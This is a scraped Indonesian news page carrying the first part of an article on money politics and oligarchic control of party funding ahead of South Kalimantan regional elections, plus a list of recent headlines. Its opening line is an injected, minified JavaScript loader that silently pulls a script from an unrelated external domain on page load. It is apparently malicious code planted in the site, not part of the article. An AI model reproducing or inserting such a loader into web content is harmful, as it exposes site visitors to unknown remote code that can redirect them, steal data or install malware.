(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Zona Merah Politik Uang, ‘Duitokrasi’ Vs Demokrasi Jadi Pertaruhan Pilkada di Kalsel


Logikanya adalah, parpol yang keuangannya koruptif akan menjadi penyumbang tumbuh suburnya ‘Duitokrasi’, yaitu penyelenggaraan negara yang koruptif, pemerintahan dari duit, oleh duit, dan untuk duit.

Ia mengemukakan, Nurcholis Hidayat dari LBH Jakarta pernah mengulas, bahwa salah satu persoalan mendasar saat ini adalah pengaruh buruk kekuatan oligarki kepada parpol, termasuk ketergantungan pendanaan parpol kepada segelintir pebisnis. “Bisnis tentu penting untuk membuat roda ekonomi berjalan, tapi bisnis pun bisa menjadi pisau bermata dua jika hanya mendasarkan pada kedekatan penguasa, apalagi yang sifatnya kolutif,” katanya.

Menurut The Economist, Indonesia adalah negara terburuk ketujuh di dunia dalam hal kolutifnya hubungan penguasa dan pengusaha. Berdasarkan crony-capitalism index, Indonesia dinobatkan sebagai salah satu negara yang iklim bisnisnya kolutif, karena sangat dipengaruhi oleh relasi politik penguasa dengan pengusaha. Sekitar dua pertiga kekayaan yang dikuasai orang kaya Indonesia diperoleh karena kedekatannya dengan penguasa.

“Persoalan makin rumit, karena orang terkaya di Indonesia yang menguasai perekonomian tidaklah banyak. Perhitungan Bank Dunia, satu persen orang terkaya menguasai lebih dari separuh kekayaan se-Indonesia raya. Kalau angkanya ditingkatkan menjadi 10 persen orang terkaya, maka mereka menguasai hampir 80 persen kekayaan nasional,” urai Denny dalam tulisannya.

Denny Indrayana saat menjadi pembicara pada diskusi mahasiswa di HSU Foto: foto 2/ist

Dengan komposisi yang sama sekali tidak seimbang itu, Indonesia menjadi negara paling timpang ketiga di dunia terkait kesenjangan penguasaan aset. Lebarnya ketimpangan sosial itu pula yang mempengaruhi arah kebijakan dan haluan negara menjadi di bawah kendali para oligarki yang menguasai ekonomi, mempunyai kedekatan dengan penguasa, menguasai pemberitaan media, dan tentunya juga berkontribusi pada pendanaan parpol.


Page: 1 2 3 4

Desy Arfianty

Recent Posts

Disarpus Kapuas Siapkan Pelatihan Pengelolaan Kearsipan di ANRI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas pertengahan Februari nanti akan mengadakan pelatihan pengelolaan… Read More

5 bulan ago

165 Program Bantuan YBM PLN UIP3B Kalimantan di 2024, Salurkan ke 6.830 Penerima Manfaat

KANALKALIMANTAN.COM, BANJARBARU - Yayasan Baitul Maal (YBM) PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

5 bulan ago

Sidang Gugatan di MK: Ini Dalih KPU Banjarbaru Tak Cetak Surat Suara Ulang

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemilihan Umum (KPU) Banjarbaru menjawab alasan tidak melakukan percetakan surat suara… Read More

5 bulan ago

Pemkab Kapuas Luncurkan Program Kapuas Bugar dan Juara

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas resmi meluncurkan program unggulan bernama Kapuas Bugar… Read More

5 bulan ago

Inovasi di Kabupaten Banjar Terus Meningkat

KANALKALIMANTAN.COM, MARTAPURA - Jumlah inovasi di Kabupaten Banjar mengalami peningkatan signifikan dari 69 inovasi pada… Read More

5 bulan ago

Kasus Dugaan Pelecehan Seksual di Banjarbaru, Polisi Tunggu Pelapor Selesaikan Mediasi

KANALKALIMANTAN.COM, BANJARBARU - Kasus dugaan pelecehan seksual yang dialami oleh salah satu Tenaga Kesehatan (Nakes)… Read More

5 bulan ago

This website uses cookies.